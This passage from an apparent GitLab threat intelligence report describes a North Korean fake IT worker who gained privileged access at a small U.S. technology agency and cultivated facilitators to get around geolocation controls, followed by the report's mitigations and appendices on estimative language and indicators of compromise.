The threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.

Implications

This incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.

This incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.

Mitigations

We banned the account associated with this activity.

Saksham Anand contributed to this report.

Appendix 1: GitLab Threat Intelligence Estimative Language

We use specific language to convey the estimated probability attached to assessments. We also use words including "possible" and "may" in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available here.

Appendix 2: Indicators of Compromise

We recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.